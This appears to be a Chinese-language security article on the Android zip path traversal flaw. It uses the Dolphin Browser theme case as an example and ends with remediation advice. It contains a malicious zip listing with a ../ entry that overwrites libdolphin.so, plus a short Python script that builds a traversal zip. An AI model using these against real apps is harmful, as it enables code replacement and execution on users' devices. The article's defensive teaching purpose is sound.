Android zip 文件目录遍历漏洞

概述

zip 类型的压缩包文件中允许存在 ../ 类型的字符串,用于表示上一层级的目录。攻击者可以利用这一特性,通过精心构造 zip 文件,利用多个 ../ 从而改变 zip 包中某个文件的存放位置,达到替换掉原有文件的目的。

那么,如果被替换掉的文件是是 .so.dex.odex 类型文件,那么攻击者就可以轻易更改原有的代码逻辑,轻则产生本地拒绝服务漏洞,影响应用的可用性,重则可能造成任意代码执行漏洞,危害应用用户的设备安全和信息安全。比如寄生兽漏洞、海豚浏览器远程命令执行漏洞和三星默认输入法远程代码执行等著名的安全事件。

基本原理

Linux/Unix 系统中 ../ 代表的是上一层级的目录,有些程序在当前工作目录中处理到诸如 ../../../../../../../../../../../etc/hosts 表示的文件,会跳转出当前工作目录,跳转到到其他目录中对应的 hosts 目录。

Java 代码在解压 zip 文件时,会使用到 ZipEntry 类的 getName() 方法,如果 zip 文件中包含 ../ 的字符串,该方法返回值会原样返回。如果没有过滤掉 getName() 返回值中的 ../ 字符串,继续解压缩操作,就会在其他目录中创建解压的文件。

风险示例

海豚浏览器海豚浏览器的主题设置中允许用户通过网络下载新的主题进行更换,主题文件其实是一个 zip 压缩文件,里面有如下文件:

1
2
3
4
5
6
7
8
9
unzip -l Red_roof.dwp.orig  
Archive:  Red_roof.dwp.orig  
  Length     Date   Time    Name
 --------    ----   ----    ----
    18165  12-18-14 09:57   icon.jpg
      237  12-19-14 14:35   theme.config
   131384  12-18-14 09:54   wallpaper.jpg
 --------                   -------
   149786                   3 files

dwp 文件是海豚浏览器自己定义的主题文件包,本质上是一个 zip 包。

通过中间人攻击的方法,替换掉这个 zip 文件。用来替换原有的 zip 文件的恶意 zip 文件中,有重新编译的 libdolphin.so。由于海豚浏览器的 libdolphin.so 文件在系统中的存放路径为 ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so,那么,我们只需要将我们重新编译的 libdolphin.so 文件以 ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so 的方式命名,并放置在我们的恶意 zip 包中:

1
2
3
4
5
6
7
8
9
10
unzip -l Red_roof.dwp  
Archive:  Red_roof.dwp  
  Length     Date   Time    Name
 --------    ----   ----    ----
    18165  12-18-14 09:57   icon.jpg
      237  12-19-14 14:35   theme.config
   131384  12-18-14 09:54   wallpaper.jpg
        7  08-21-15 20:26   ../../../../../../data/data/mobi.mgeek.TunnyBrowser/files/libdolphin.so
 --------                   -------
   159142                   4 files

那么,当海豚浏览器下载到攻击者精心设计的 zip 包并完成解压之后,那么 libdolphin.so 就会被替换。

如此一来,攻击者就可以轻易地把有风险的代码植入到应用中去,从而实现某些目的。

可以使用如下 Python 代码生成一个可以触发该漏洞的 zip 包:

1
2
3
4
5
6
7
8
9
10
11
12
import zipfile  
import sys
if __name__ == "__main__":
try:
with open("test.txt", "r") as f:
binary = f.read()
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("test.zip")
zipFile.writestr("../../../../../data/data/com.corp.demo/files/test.txt", binary)
zipFile.close()
except IOError as e:
raise e

修复方案

  • 对重要的 zip 压缩包文件进行数字签名校验,校验通过才进行解压
  • 检查 zip 压缩包中使用 ZipEntry.getName() 获取的文件名中是否包含 ../ 或者 .. 字符
  • 更换 zip 解压方式,不使用 ZipEntry.getName() 的方式,使用 ZipInputStream 替代

Google 建议的修复方案:

1
2
3
4
5
6
7
8
9
10
InputStream is = new InputStream(untrustedFileName);
ZipInputStream zis = new ZipInputStream(new BufferedInputStream(is));
while((ZipEntry ze = zis.getNextEntry()) != null) {
File f = new File(DIR, ze.getName());
String canonicalPath = f.getCanonicalPath();
if (!canonicalPath.startsWith(DIR)) {
// SecurityException
}
// Finish unzipping…
}

参考

Fixing a Zip Path Traversal Vulnerability